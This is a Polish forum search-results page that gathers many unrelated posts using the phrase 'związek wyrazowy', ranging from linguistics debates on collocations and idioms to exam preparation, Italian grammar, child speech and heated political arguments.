Szukaj:Słowo(a): związki wyrazowe
Gość portalu: młody napisał(a):

> miałem wrażenie że dostosuje to do Twojego stylu
> bo czyż skrajnym podejściem do sprawy nie wykazuje się osoba która na zadane
> pytanie dopisuje szereg często wyimaginowanych zachowań nie koniecznie
> dotyczących adwersarza?

hip: teraz to Ty teoretyzujesz. Nie wiesz czy wyimaginowanych czy nie.
Potrafisz poręczyć, że są wyimaginowane?

> to była metafora mająca na celu uświadomienie Tobie iż wszelkie stereotypy
> i niechęć wobec całego środowiska jest delikatnie mówiąc nie dojrzała

hip: Co znaczy "całe środowisko"? O jakie całe środowisko chodzi?

> szczerze powiedzawszy nie wiem czy moge Ci przyznać rację bo czyż
stwierdzenie
> o bezużyteczności a wręcz destruktywnym działaniu krytyki nie jest
uniwersalne?

hip: Bezużyteczość krytyki? A wiesz co to jest krytyka np. w nauce? I jakie są
jej pozytywne konsekwencje?

> krytyka praktycznie zawsze będzie pewną formą wyładowania emocji, negatywnych
> emocji czyli możemy stwierdzić że jest to agresja...a jak wiadomo agresja
> budzi agresję

hip: Krytyka jest agresją? Mieszasz pojęcia i ich nie rozumiesz. Po prostu i
niestety.

> nie mówię o obecnej sytuacji w wojsku, chyba spotkałeś się ze związkiem
> wyrazowym dyscypliny wosjskowej i to miałem na myśli

hip: Rozumiem to, tym niemniej będąc bliżej rzeczywistości niż rozważaniom
teoretycznym na temat dyscypliny wojskowej, trochę mnie to rozbawiło.

pozdrawiam
Tematy rozmowy kwalifikacyjnej na rok 2005/6
Witam wszystkich!

Dwa słowa o mnie. Nazywam się Stanisław Krawczyk i jestem tegorocznym maturzystą. Na egzaminie zamierzam zdawać historię, WOS, angielski i niemiecki. Mieszkam w piętnastotysięcznym miasteczku w Wielkopolsce.

Zastanawiam się nad wyborem dwóch tematów, jakie należy przygotować do przedstawienia w czasie rozmowy kwalifikacyjnej na UAM-ie. Na razie myślę o takich zagadnieniach:
- przenikanie słów i związków wyrazowych z uzusu do normy językowej (albo jakiś inny problem z dziedziny kultury słowa i poprawności językowej),
- postać ucznia szkoły czarodziejów w literaturze.

Jak sądzicie
> - przenikanie słów i związków wyrazowych z uzusu do normy językowej (albo
jakiś
> inny problem z dziedziny kultury słowa i poprawności językowej),
Według mnie - interesujące, dobry pomysł, zwłaszcza, że tematy z językoznawstwa
raczej nie cieszą się popularnością :). Musiałbyś mieć tylko pomysł na
sformułowanie tematu (może jakieś zawężenie? w obecnej formie to bardzo
szerokie zagadnienie) + lektury.

> - postać ucznia szkoły czarodziejów w literaturze.
Ciekawe, ryzykowne - na jakich książkach chciałbyś się oprzeć? Trudne o tyle,
że przy takim temacie trzeba mieć dobrą koncepcję, by nie zarzucono np.
infantylnego podejścia. Przemyślałabym.

> > Czy ktoś wie, do kiedy trzeba wysłać swoje tematy?
Do tej pory na UAM składało się je wraz z dokumentami na studia.

Czy ktoś może mi wskazać linkę
> do takiego sprawdzianu z ubiegłych lat
Tawananna napisała:

> > - przenikanie słów i związków wyrazowych z uzusu do normy językowej

> Według mnie - interesujące, dobry pomysł, zwłaszcza, że tematy
> z językoznawstwa raczej nie cieszą się popularnością :). Musiałbyś
> mieć tylko pomysł na sformułowanie tematu (może jakieś zawężenie?
> w obecnej formie to bardzo szerokie zagadnienie) + lektury.

Pomyślę o tym. Poszperam też trochę w opracowaniach zagadnień problemowych w nowych słownikach poprawnej polszczyzny PWN-u.

> > - postać ucznia szkoły czarodziejów w literaturze.

> Ciekawe, ryzykowne - na jakich książkach chciałbyś się oprzeć?

Harry Potter, Ziemiomorze, książki o Panu Kleksie. Może przeformułowałbym temat tak, aby ująć także Kajtusia Czarodzieja (na przykład "postać młodego czarodzieja"). Pewnie musiałbym też poszukać czegoś z wcześniejszej klasyki, ale nie wiem jeszcze, co by to mogło być.

> > > Czy ktoś wie, do kiedy trzeba wysłać swoje tematy?

> Do tej pory na UAM składało się je wraz z dokumentami na studia.

Brzmi zachęcająco. Mam więc jeszcze pewnie trochę czasu.

> Zapraszam na forum polonistyczne i filologiczne

A zajrzę. Dzięki. :-)

Pozdrowienia
Scobin
prawdą jest ze szkola schodzi na psy. i jest to sprawa przykra bo ten "proces"
nie trwa od tygodnia czy miesiaca ale przynajmniej od roku, albo i poltora.
zaczelo sie od wypuszczenia dwoch swietnych nauczycielek-pani jankowskiej i
pani pusz.One byly naprawde swietne w tym co robily i niejeden absolwent pomimo
iz bylo ciezko, wspomina potem z rozrzewnieniem ze dzieki nim jest dobry z
matmy i fizy. teraz przyszla pora na bogne a slyszalem pogloski ze i wyznacznik
poziomu z historii -prof. musial ma sie ze szkola pozegnac. jesli tak to
epitet "elitarna" bedzie mozna na dobre wykreslic z w ostatnich latach trwalego
zwiazku wyrazowego: "elitarne IILO"

z powazaniem

absolwent ELITARNEGO IILO.
niestety, to Ty najwyraźniej nie rozumiesz o czym mówię, oczywiście , że możemy
przyjąć, iż huczy w głowie, i ihm brummt der Kopf nie są kolokacjami
interlingualnymi, co nie zmienia faktu, że każdy z ww. związków wyrazowych
kolokacją JEST, w obrębie języka polskiego będź niemieckiego. Pytam o teorię,
bo w zależności od naukowca, który się rzeczonymi związkami zajmował, kolokacja
jest formułowana nieco inaczej, pomyślałam, że może i Ty na potrzeby jakiejś
swojej pracy naukowej masz takie pojęcie określone, ciekawa byłabym je poznać.
Jeśli jednak mylisz ekwiwalent z kolokacją, to gratuluję, chyba nie ma co
dyskutować, skoro nie wykazujesz znajomości podstaw dyskursu naukowego.
Przerzuć się lepiej na FF, tam wystarczy się wtrącać nie odnosząc się
merytorycznie do czyjejś wypowiedzi.
a widzisz?
jAk sie da, potrafisz bez zbednych zlosliwosci.
Oczywiscie, ze powinnam mowic o zwiazkach wyrazowych. To bylo uproszczenie,
ktorego nie bede tlumaczyc licentia poetica, przyjmuje Twoja uwage.
Ale ja dlatego uparcie twierdze, ze o kolokacji mowy byc nie moze, bo huczy mi
w glowie to nie to samo co boli mnie glowa.
Ja nie - moze sie za malo precyzyjnie wyjasniam ,ale Ty tez nie ulatwiasz m
idyskusji swoim tonem - nie zaprzeczam o istnieniu kolokacji, ale w tym mein
Kopf brummt jako boli mnie glowa, co chcesz tlumaczyc huczy mi glowie, nie ma
mowy o kolokacji, bo to nie jest to samo.
Twoje zalozenie pozostaje dla mnie bledne.
Oczywiscie, ze to dzielenie wlosa na czworo i liczenie diablow na lebku od
szpilki, ale skoro to nie jest to samo - bo glowy i huczenie w glowie - wiec
sie upieram, bo jestem uparta.
Z mojego doswiadczenia (Amerykanie, Anglicy, Nowozelandczyk) wynika, ze to jest
bardzo roznie. Generalnie maja problem z akcentem wyrazowym oraz tak sie
przejmuja brakiem samoglosek, ze te istniejace zjadaja. Ale najwiekszy problem
sprawia im ubezdzwiecznianie - nie wiedza (nie pamietaja, nie czuja) kiedy maja
to robic i biedactwa staraja sie wymowic dzwiecznie "wszystko w porzadku"...
Ale z Amerykanami jest naprawde roznie, bo wiekszosc ma jakies dziwne korzenie
i w zwiazku z tym mowia np. po hiszpansku lub portugalsku, a przez to ich
wymowa jest czesto znacznie lepsza niz osob czysto anglojezycznych.
Pozdrawiam,
M.
Skrzydlatymi słowami... Piotr Müldner-Nieckowski
FRAZEOLOGIA.Pl
www.frazeologia.pl/frazeologia/forum/read.php?f=4&i=367&t=367Forum
Dla zaawansowanych

Olga napisał(a):
>Czy skrzydlate słowa klasyfikujemy jako związki frazeologiczne, czy to po
prostu odrębna jednostka należąca do frazeologii? Właściwie skąd nazwa
skrzydlate słowa, dlaczego ten typ połączeń wyrazowych tak nazywamy?
gr. páthos & & #35 8216;cierpienie& & #35 8217; od páschei
pato- (gr. páthos ‘cierpienie’ od páschein ‘doznawać, cierpieć’) językozn.
pierwszy człon złożenia wyrazowego wskazujący na związek ze stanem chorobowym,
patologicznym np.: patogeneza, patologia.

Hasło opracowano na podstawie „Słownika Wyrazów Obcych” Wydawnictwa Europa, pod
redakcją naukową prof. Ireny Kamińskiej-Szmaj, autorzy: Mirosław Jarosz i
zespół. ISBN 83-87977-08-X. Rok wydania 2001.
neologizm m IV, D. -u, Ms. ~zmie; lm M. -y
«wyraz, zwrot, forma, znaczenie wyrazu nowo utworzone w danym języku (poza
terminologią językoznawczą używane niemal wyłącznie w odniesieniu do wyrazu)»

i prościej

NEOLOGIZM [gr.], nowotwór językowy, wyraz nowo utworzony, nowo powstały w danym
języku — neologizm leksykalny; wyraz, który nabrał nowego znaczenia — neologizm
semantyczny; nowy związek wyrazowy — neologizm frazeologiczny.

(oba za pwn - odpowiednio sjp i encyklopedia)

Język polski, zakres szkoły podstawowej. Najczęściej omawiane z
Tuwimowym "Słopiewniem"
Może w czymś ci pomóc, nanai?
do niegadulek
Możesz napisać coś więcej o płytach? CO sie na nich znajduje? Jak
ich używać? Wiem tylko tyle, ile przeczytałam w opisie. Chetnie
dowiem sie , jak z nimi pracujesz. Od kilku dni mamy
książeczki "Kocham czytać " :)
Polecam książke O. Ivar Lovaas"a "Nauczanie dzieci niepełnosprawnych
umysłowo" I niech nie zwiedzie was tytuł. Znajdziecie tam wiele
porad dotyczących nauki mowy a takkże codziennych ważnych
umiejetności.
Nieodzownym do ćwiczeń wydaje mi sie zestaw pomocy - obrazków
zawierających wiele czasoowników, przymiotników, rzeczowników oraz
związków wyrazowych. Ciekawe jest również to, że można wykorzystać
je do nauki języków obcych - angielskiego, niemieckiego. Warto w nie
zainwestować.
Pozdrawiam
Liczebnik oboje (albo obydwoje) ma nietypową składnię w połączeniach wyrazowych
będących określeniami par małżeńskich - tworzy on związek zgody z rzeczownikami
nazywającymi małżonków we wszystkich przypadkach oprócz narzędnika, np. oboje
państwo Kowalscy; pozdrawiam obojga państwa Kowalskich; rozmawiał z obojgiem
państwa Kowalskich.
Ty chyba kpisz. Obiecuję sobie, że już więcej nie będę z tobą dyskutować. TO TY
TEN EWIDENTNY BŁĄD FLEKSYJNY (PRZEJĘZYCZENIE) NAZWAŁEŚ GWARĄ.- piszę wielkimi
literami, żeby do ciebie dotarło.
przejęzyczenie n I; lm D. ~eń
pot. «błąd popełniany przez nieuwagę, polegający na przekręceniu wyrazu albo na
niewłaściwym użyciu wyrazu lub związku wyrazowego>>
słownik języka polskiego
a jak chcesz, to pisz do Bralczyka lub Miodka
Ja już nie będę z tobą dyskutować, bo jest to sprawa dość beznadziejna, tak jak
literatura, którą uprawiasz. Zresztą nic dziwnego, skoro za normę przyjmujesz
język dziennikarski. W twoich wywodach są podstawowe błędy logiczne i
radziłabym teksty czytać z większym zrozumieniem (także słowniki).
idiom to związek wyrazowy właściwy tylko danemu językowi, nieprzetłumaczalny
dosłownie na inny język.
Moim zdaniem od tego trzeba zacząć.
Po co więc silić się na tłumaczenie czegoś co nieprzetłumaczalne.
Zwłaszcza, że z miłością jest ponoć tak jak z tłumaczeniem.
Jak ładne to niewierne
Jak wierne to brzydkie
:))))))
"da" - trochę gramatyki
Czy ktoś mógłby mi wytłumaczyć, w jakich przypadkach używa się "da" ( a
nie "di"), gdyż mam z tym pewne problemy.
Zdołałam już wydedukować, że używa się "da":
- w rzeczownikach złożonych - część wprowadzona przez przyimek "da" mówi o
przeznaczeniu jakiegoś przedmiotu (miejsca),etc. np:
macchina da scrivere
camera da pranzo
- mówiąc o okresie czasu, od jakiego jakaś czynność jest wykonywana/ trwa
jakiś stan, np.
Mario sta bene da nove giorni.
Ho la tosse da cinque giorni.

A co z takimi związkami wyrazowymi, jak np. un biglietto da 200€? Czy jest
ich więcej? Jaką regułę można by tu sformułować?
Będę wdzięczna za wszelką pomoc, pozdrawiam,
Kasia
kiedy używa się przyimka "da" a nie "di"? Pomóżcie
Czy ktoś mógłby mi wytłumaczyć, w jakich przypadkach używa się "da" ( a
nie "di"), gdyż mam z tym pewne problemy.
Zdołałam już wydedukować, że używa się "da":
- w rzeczownikach złożonych - część wprowadzona przez przyimek "da" mówi o
przeznaczeniu jakiegoś przedmiotu (miejsca),etc. np:
macchina da scrivere
camera da pranzo
- mówiąc o okresie czasu, od jakiego jakaś czynność jest wykonywana/ trwa
jakiś stan, np.
Mario sta bene da nove giorni.
Ho la tosse da cinque giorni.

A co z takimi związkami wyrazowymi, jak np. un biglietto da 200€? Czy jest
ich więcej? Jaką regułę można by tu sformułować?
Będę wdzięczna za wszelką pomoc, pozdrawiam,
Kasia
Słownik Języka Polskiego w Gazecie
Gazeta nas nacięła. Reklamowano słownik w 3. częściach, przez 3 kolejne
wtorki:
- 80.000 haseł - OK
- 12.000 związków wyrazowych - funkcja nieaktywna
- 13.000 terminów dwuwyrazowych - funkcja nieaktywna
- 1.000 przysłów - funkcja nieaktywna
- 130.000 przykładów - funkcja nieaktywna
O w mordę, bo się obrażę na Agorę.
Pomoc! Jakie pytania mogą być na ustnej
Proszę Was pomóżcie!!! Strasznie boję się ustnej z polskiego. Kto mi
poda jakie pytania może mi zadać komisja do tematu: ANALIZA JĘZYKOWA
MODYFIKACJI TYPÓW ZWIAZKÓW WYRAZOWYCH W TYTUŁACH PRASOWYCH NA
PRZYKŁADZIE WSPÓŁCZESNYCH, POLSKICH TYG. SPOŁ-POLIT. Mam do tego
prezentację multimedialną z przykładowymi tytułami i klasyfikacją. W
literaturze podmiotu Polityka, Nie, Wprost ip. W literaturze
przedmiotu słownik, parę artykułów o tytułach prasowych i stronka
www.frazeologia.pl. Boję się, że mnie zaskoczą pytaniem i zawalę to,
co tak długo przygotowałam.
Sprawa definicji
Wariacje k elementowe w zborze Z złożonym z n elementów są określane jako
ciagi k wyrazowe o wartościach z tego zbioru.
Dlaczego rozróżniamy wariacje z powtórzeniami i bez powtórzeń, zamiast po
prostu wariacje i wariacje bez powtórzeń, podobnie jak ciągi i ciągi
różnowartościowe. Po prostu wariacje, to wszystkie możliwe ciągi, a bez
powtórzeń - różnowartościowe. Kłopot polega na tym,że nie wiadomo o konkretnej
wariacji do jakiej rodziny należy i wariacja (3,5,7,2) może byc jedną i drugą,
mimo,ze nic się w niej nie powtarza. Czy nie byłoby sensowniej wprowadzić wzory :
liczba wariacji = n^k;
L. wariacji bez powtórzeń = n!/(n-k)! , gdy n>=k;
l. wariacji z powtórzeniami(Tzn w których występują powtórzenia) jest różnica
poprzednich = n^K - n!/(n-k)! i z wzoru wynika,że dla n<k powtórzeń nie ma.
Ww. nazwy wariacji powstały w związku z losowaniem ze zwracaniem lub bez tego,
ale przy definicjach odwołujących się do ciągów jest to niezbyt logiczne.
Chodzi o homonimy:
www.slownik-online.pl/kopalinski/05e8d6c1de89d1e5c12565e00068b057.php ??
Czy też może o homofony:
www.slownik-online.pl/kopalinski/3238ee90cc012d4ac12565e000633cbe.php ??

Ale nie wiem jak to nazwać "idiomatycznie",bo ten przymiotnik kojarzy mi się ze
związkami wyrazowymi, które nie tłumaczymy dosłownie słowo po słowie,bo inaczej
nie mają żadnego sensu, ale jako cało wyrażenie mają,dlatego sprawiają problemy
w tłumaczeniu i uczy się ich będąc na poziome zaawansowanym języka obcego (może
już średniozaawansowanym,ale wtedy to takie naprawdę podstawowe idiomy typu
"zachować zimną krew" itp.)

Jednak poczekam na wypowiedź jakiegoś polonisty,bo ja nim nie jestem i raczej
nie będę :))
Owszem, kaganek to mały kaganiec, ale nie mówi się o KAGAŃCU oświaty bo miałoby
to zupełnie inne znaczenie - kaganiec to też coś, co zakłada sie krowom na pysk
żeby nie żarły nic po drodze na pastwisko. Jest to więc coś, co hamuje pewne
zachowanie. Kaganiec oświaty pewnie by tę oświatę miał powstrzymywać. Mówi się
KAGANEK oświaty i nie zmieniajmy pewnych utartych związków wyrazowych.
Witam!Jeśli się nie mylę ( choć mylę się stosunkowo często), to związek
frazeologiczny jest połączeniem wyrazowym stanowiącym pewną całość pod względem
znaczeniowym. Wydaje mi się również, że od poj. słowa: "bohater" nie sposób
stworzyć żadnego ze znanych mi związków frazeologicznych. Trudno bowiem
skomponować zeń zw.frazeol. łączliwy, stały lub też stereotypowy. Ale, jak
podkreślam raz jeszcze moja wiedza w tej materii jest wciąż pełna białych plam,
toteż chętnie przeczytam kolejne wpisy osób, których pewność równa jest wiedzy w
poruszonej kwestii. Pozdrawiam.
Ale dziennikarze GW sa wiekszymi
bo robia sondaze na temat obrazliwosci (nie zabarwienia emocjonalnego) lecz
obrazliwosci tego wyrazenia...
Stopien obrazliwosci jest jednak wprost proporcjonalny do zrozumienia..
Bura suka nie wystepuje w jez. polskim i ten zwiazek wyrazowy nie ma
zdefiniowanego znaczenia. Mozna tylko wnioskowac czy jego niefortunny autor byl
zdenerwowany czy nie...Czy gdyby chcial obrazic nie powiedzialby wsciekly kundel
np? Hi, hi.
No a jesli autor nie mial na mysli zenskiej formy psa to przychodzi na mysl
tylko pewien dobrze znany ludziom za czasow komuny pojazd...
A to w przypadku nieslusznego oskarzenia nie jest obrazliwe - ale nawet
powiedzialabym uzasadnione.
Inna sprawa ze emocje u polityka sie nie przydaja.
"...pisze bez polskiej czcionki..."
A co ma piernik do wiatraka?
Kępiński bez polskiej czcionki to Kepinski a nie Kempinski.

synonim
[gr.], wyraz lub związek frazeologiczny bliski znaczeniowo innemu wyrazowi lub
związkowi, wyraz bliskoznaczny; np. obawa, bojaźń, lęk.
Nie bój się Aniu! Cimoszewicz nie wyskoczy z szafy.
Tak to już jest, że argumentem w dyskusji ma być "do cholery" oraz zarzucanie
komuś śmieszności. Niestety, nie ruszają mnie erystyczne sztuczki.
1. Rock artystyczny? A dlaczego nie? Wystarczy trochę wytężyć umysł. Brzmienie
rockowe ma być zarezerwowane dla prymitywów? Kto powiedział, że dzieła ambitne
można tworzyć tylko na instrumenty orkiestrowe, albo na składy jazzowe? I
odwrotnie: piłuję skrzypce, więc od razu jestem lepszym muzykiem, niż jakiś tam
rockman?
2. Rock progresywny. Dlaczego tak wielu to określenie przeszkadza?
"Rock progresywny" to frazem - stały związek wyrazowy. W pewnym momencie był
bardzo adekwatny i tak już zostało - przyjął się. Mnie nie przeszkadza.
3. "Szufladki" też wkurzają. Tak się składa, że człowiek, ponieważ myśli,
analizuje - nadaje nazwy, nazywa rzeczywistość. To mu ułatwia poruszanie się w
niej. Dlatego nazywa też rózne odmiany muzyczne. Najprościej mówiąc: jeżeli
wchodzę do sklepu z płytami, to cieszę się, jeśli widzę podpisane stoiska z
różnymi typami muzyki, bo to od razu pozwala mi szerokim łukiem omijać płyty
punkowe czy reggae...
Sorry, że tak łopatologicznie, ale widocznie tak jest skuteczniej (vide: "styl"
Bendera)...
teresa.kruszona napisał(a):

> Sformułowanie 'iść piechotą (na piechotę, pieszo)' nie wydaje mi się
> niepoprawne. Jest to taki
> związek wyrazowy, którego nie można rozdzielić, bo trudno byłoby sformułować
> wypowiedź, pomijając czasownik 'iść?

A nie można po prostu powiedzieć "iść"?
Jak można jeszcze inaczej iść niż na piechotę???
Poza tym można tę wypowiedź sformułować "dotrzeć/udać się gdzieś na piechotę" i
pozbywamy się nieszczęsnego "iść".
Zauważyłem, że słowniki podają związek "iść na piechotę" jako poprawny, choć moim
skromnym zdaniem z logiką niewiele to ma wspólnego. Uważam, że to podobne
powtórzenie jak "cofać się do tyłu" (uznawane przez słowniki za błędne).
Ciekawi mnie, czym kierują się językoznawcy uznając jedno z tych wyrażeń za
poprawne, a drugie nie. Oba używane są chyba równie często. Może jedno jest
starsze?

Pozdrawiam
MW

PS. W niemczyźnie też jest analogiczne wyrażenie "zu Fuß gehen"
Frytka aktorka to jest nierealny związek wyrazowy, który nigdy w życiu nie
powinien w ogóle się pojawić. Nawet te dwa wyrazy oddzielnie nie powinny obok
siebie stać.

Rajstopy i ładowarka to jakieś strasznie tajemnicze atrybuty.. Ciekawe czy
Pudelek wyjawi tajemnicę;p
Niech szef związku muzułmanów przeprosi..
..autora karykatur. Dlaczego wmawia ludziom, że te karykatury nawołują do nienawiści ?? Niech się przyjrzy wyrazowi twarzy Mahometa. Niech pomyśli co robi bimba w jego głowie, dlaczego tam gdzie jest islam (w głowie Mahometa) rysownik umieścił bombę. I niech sobie przeżyje małe "katharsis"
a ci dalej walkuja swoje
po polnocy.
Wyrazenie tr´om´bolu jest zabawne nawet bo po polsku bury jest mis a na
mezczyzne cyt. dziennikarza nie mowi sie naogol suka. Znasz jezyk polski?
Z czego sie jeszcze pampamedia beda nabijac? Z pewnoscia glosniej z tego nowego
zwiazku wyrazowego - ja nazwalabym kogos kto siega po niesluszne zarzuty -
mezczyzne raczej wscieklym kundlem gdybym chciala go obrazic- niz z faktu iz
KOLEJNA fuzja kolejnego molocha pozerajacego mniejsze banki na rynku polskim z
pewnoscia nie obnizy cen uslug ani nie poprawi ich jakosci jak to mialo miejsce
w przypadku banku w ktorym mialam konto- pozartego przez drogiego CITI.
Zapewne albo nie masz konta w Polsce albo rozeznania w tym jak przy zyskach
(ilosc mieszkancow w Polsce) ksztaltuja sie ceny uslug bankowych. Nie masz tez
chyba pojecia jak to - procz kulawego prawa - owszem rowniez za Balcerowicza
wplywalo na polska przedsiebiorczosc i szanse zaistnienia na rzekomo ´wolnym´
rynku.
Biedne dzieci Michnika
glownie dzieci tej postnomenklatury i lze-elit - genialne okreslenie o podwojnym
znaczeniu i w dodatku potwierdzonym.
Biedne bo wstyd im sie przyznac do faktu ze bura suka jest jak najbardziej
zwiazkiem wyrazowym ORYGINALNYM w sensie nieznanym dotad w jez. polskim.
Co zas sie tyczy oszukanych i oszukujacych elit to owszem mamy je i w jak widac
po panu - piecos tam miec bedziemy jeszcze troche bo przybywa ich w tempie
paczkowania drozdzy...
biedronka24 napisała:

> Biedne bo wstyd im sie przyznac do faktu ze bura suka jest jak najbardziej
> zwiazkiem wyrazowym ORYGINALNYM w sensie nieznanym dotad w jez. polskim.

Chyba dla 12. latka. Określenie bardzo stare. Nic w nim oryginalnego.

> Co zas sie tyczy oszukanych i oszukujacych elit to owszem mamy je i w jak
> widac
> po panu - piecos tam miec bedziemy jeszcze troche bo przybywa ich w tempie
> paczkowania drozdzy...

Powstaje pytanie - dlaczego nabijasz kieszeń michnikowi? Przecież oglądasz
reklamy i tylko się agora wzmacia. Lepiej nie wchodź na te strony.
mi tam słowo 'ejtisowy' bardzo się podoba, ładnie streszcza nieco przydługie 'w stylu lat osiemdziesiątych' (jako że słowo 'osiemdziesiąte' używane jako określenie czegoś nie brzmiałoby chyba dobrze).
'wziąć autobus, pociąg, taksówkę' używane jedynie przez ludzi powracających z wysp? większej bzdury nie słyszałem - przecież to najzwyczajniejszy na świecie związek wyrazowy funkcjonujący w języku polskim od dawien dawna.
za to do 'bycia w dotyku' potrzebny jest dystans, bo inaczej można zazgrzytać zębami:)
Mowa - 20,5 miesiąca, jakie macie doświadczenia?
Witam,

Moja córka ma skończone 20,5 miesiąca, wszystko rozumie, bawi się,
żartuje, wykonuje polecenia, pokazuje części garderoby i ciała.
Jeśli chodzi o mowę to wymawia pojedyńcze wyrazy (sporą grupę),
nazywa zwierzątka "kociu, pies, kjowa, kogut jyba (ryba)" itp. Nie
łączy natomiast jeszcze wyrazów w dwu wyrazowe zdania.
W związku z tym mam pytanie jak to było u was? czy jest powód do
niepokoju?
Moim zdaniem, popartym jakimiś mglistymi wspomnieniami ze studiów, zależy to od
stopnia ustabilizowania danego związku wyrazowego. Na przykład:
Rzeczpospolita Polska
Republika Czeska
obiady czwartkowe
powstanie listopadowe
książka telefoniczna
Powyższe zestawienia jako ustabilizowane nie występują w innym szyku - przydawka
jest zawsze po rzeczowniku. Do tej reguły nie pasuje trochę 'lany poniedziałek'
i nie wiem, jak to wytłumaczyć.
Przymiotniki, które nie nazywają cech dystynktywnych desygnatu zasadniczo stoją
przed rzeczownikiem. Prościej będzie to wyjaśnić na przykładzie:
GORĄCA ZUPA
ZUPA POMIDOROWA
W pierwszym przypadku cecha nazywana przez przymiotnik nie stanowi istoty
obiektu. Bez względu na to czy zupa jest zimna, czy gorąca nadal pozostaje tą
samą zupą. Inaczej jest z "pomidorowością". Zupa pozbawiona tej cechy stałaby
się czymś zupełnie innym.
Jest to taka sobie teoryjka, którą zapewne łatwo można podważyć, ale wynika to z
faktu, że szyk w języku polskim jest stosunkowo mało ważny. Zmiana naturalnej
pozycji przymiotnika (czyli w większości wypadków przed rzeczownikiem) bywa
zabiegiem stylistycznym, który raczej nie pociąga za sobą poważnych konsekwencji
semantycznych. Kiedyś nawet taki szyk pod wpływem łaciny był w "kulturalnej
polszczyźnie" uważany za lepszy.
Idiomy są również frazeologizmami( związkami frazeologicznymi).Ich główna cechą
jest stały nienaruszalny kształt( zrobić z igły widły, farbowany lis, biały
kruk) i niemożność dosłownego przetłumaczenia ich (z zachowaniem sensu) na
języki obce.
Frazeologizmy, ogólnie, to utarte, tradycyjne połączenia wyrazowe,
charakteryzujące sie tym, że ich znaczenie nie jest suma znaczeń części
składowych( kropla w morzu, spaść z byka, siedzieć na walizkach).
Zuziu, czy ty wiesz co oznacza pojęcie "związek frazeologiczny"?
Owszem, ale jesli sobie zyczysz moge przytoczyc definicje:
Frazeologia - ogol polaczen wyrazowych wystepujacych w danym jezyku
czy stylu. Stopnie wewnetrznej spoistosci zwiazkow frazeologicznych
sa b. zroznicowane: od zwiazkow stalych, utartych, o znaczeniu
zleksykalizowanym az do zwiazkow przygodnych i unikalnych,
powstalych dzieki indywidualnej inwencji stylistycznej (Slownik
terminow literackich). Pytanie, czy zwrot "obsiasc jak much gowno"
jest zwiazkiem stalym. Dla mnie nie (jesli juz musialaby sie
zdecydowac na jakies porownanie w kontekscie samego zwrotu
wybralabym chyba padlinę). Problem w tym, ze nie wierzę, ze o takie
porownania autorce watku chodzilo (biorac pod uwage po co go
zakladala), dokonczenie go bylo niepotrzebne, spowodowalo tylko
pojawienie sie "gowna" w pelnej krasie. Ja wiem, ze
niekiedy "stawianie kropki nad I" jest konieczne, ale uważam, że nie
w tym przypadku.
..dodam coś jeszcze: internet to jest pojemne miejsce - znosi wszystko (idiotów, debilów, przestępców, pedofilów..). Nie oszukujmy się, zawsze człowiek ma pewien poziom pychy w sobie i twierdzi, że jego zdanie jest absolutnie słuszne - na tym polega cały urok ostrych dyskusji (nie oszukujmy się: greccy filozofowie nierzadko argumentowali łomotem swoim rozmówcom). Internet zniesie i to. Ale częśc użytowników forum jest jednak z tej "starej szkoły". i nawet jak chamiejemy do granic, obrzucając się epitetami, nie przychodzi nam na myśl (facetom)skierować czegoś takiego do Kobiet. Na to przynajmniej mój kodeks nie pozwala. Poczekaj kilka lat, zanim dorośniesz i może wtedy pisz cokolwiek. Na razie w twoim arsenale widać duże braki w wiedzy ogólnej (nieznajomośc nawet prostych związków wyrazowych) a i w podejściu do Dam również. Poodzian ma przynajmniej wiedzę i inteligencję, aby polemizować. Tobie tego wszystkiego brak. Jesteś dla mnie żałosnym gówniarzem. Koniec.
Szczerze mówiąc mi się w ogóle "srom" nie kojarzy A język dawny
jakoś mi lata, szczególnie jeżeli chodzi o współczesny język. Z
podanymi przez Ciebie przykładami w ogóle bym tego nie powiązała.
Dopiero Ty mi pokazałaś, że jakiś związek wyrazowy jest
My używamy "pipunia" Ale czasami mówię srom, tak jak czasami na
buzię powiem twarz
A kto wartosciuje Arturze? gdzie te liczne wartosciujace wypowiedzi?
ja napisalam za innymi ze tylko w KK jest rozumienie Komunii jako
prawdziwego, realnego, doslownego Ciala Jezusa, czy temu zaprzeczysz?
gdzies uzylam zwiazku wyrazowego "prawdziwa eucharystia"???
obecnosc Jezusa na sposob duchowy a obecnosc realna w Ciele i Krwi
są roznymi obecnosciami, dla mnie roznica polegajaca na tym ze u
ciebie w kosciele chleb pozostaje chlebem a wino winem a u mnie
staje sie Cialem i Krwią jest roznica kolosalna

i WCALE nie mowie ze u was w kosciele duchowej komunii z Jezusem nie
ma, nie mowie tez nic braku prawdziwosci
wypowiadalam sie li tylko o naturze sakramentu katolickiego
chyba nieco przewrazliwiony jestes
Byłam z nim u psychologa dziecięcego w prywatnej przychodni
psychologiczno-pedagogicznej. Był tam obserwowany. Diagnoza była
taka, że nie ma braku koncentracji uwagi.To chyba też znaczy, że nie
ma adhd, prawda? Czytałam kiedyś o zespole aspergera, ale wiele
cech mi nie pasowało: niechęć do zmian -absolutnie, on je uwielbia!
Zaburzona komunikacja -on jak jest sam na sam z kimś to świetnie się
komunikuje, pięknie mówi, używa trudnych wyrazów. Uzdolnienia: nie
ma pamięci do dat, faktów, choć dobrze liczy, dodaje i odejmuje to
nie jest na pewno żadnym matematycznym geniuszem. On jest po prostu
zdolnym dzieckiem, bardzo kreatywnym, mądrym, ma swoje konkretne
zainteresowania (historia). Ale inne rzeczy też go interesują. On
chyba potrzebuje dużo bodźców, uspokaja się kiedy robi ćwiczenia,
rozwiązuje rebusy czy krzyżówki. Nie zgadza mi się z zespołem
aspergera też to, że dzieci te nie potrafią wychwycić żartów,
interpretują dosłownie. Mój synek poprawnie odcxytuje metafory itp
choć zdarza mu się powiedzieć do dziewczynki "dzieńdobry miła
panienko" (pod wpływem opowieści historycznych i języka z tych
legend. Ale śmieje się wtedy i nie wiem czy tylko żartuje czy tak
mówi bo uważa że tak można.Jednak często poprawnie używa
skomplikowanych związków wyrazowych. To się więc nie zgadza.
Ale generalny obraz , z tego co czytam w necie jest zbliżony do
zachowań synka. Muszę się wgłębić w ten temat.
>Czy któraś z mam ze swoich obserwacji potrafi powiedzieć czy istnieje
jakakolwiek zalezność między odrzuceniem pieluchy przez dziecko a nauką mowy?

Julka - mały uparciuch (lada dzień 2 lata) niestety na razie nie ma zamiaru
robić na nocnik. Pełnymi zdaniami (początkowo oczywiście 2,3 wyrazowymi) mówi
od 18 miesiąca życia. Nie dopatrywałabym się tu związku.
woloduch
Innowacja frazeologiczna to jakakolwiek zmiana we frazeologizmie, czyli utartym
zwiazku wyrazowym, który ma przenośne (niedosłowne) znaczenie.
